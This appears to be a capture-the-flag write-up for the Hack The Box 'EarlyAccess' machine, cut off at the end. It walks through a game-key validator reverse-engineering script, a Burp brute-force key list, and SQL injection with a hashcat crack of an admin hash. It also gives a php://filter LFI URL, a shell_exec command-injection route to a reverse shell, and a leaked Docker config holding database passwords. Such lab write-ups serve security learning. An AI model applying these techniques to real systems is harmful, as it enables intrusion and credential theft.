style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" 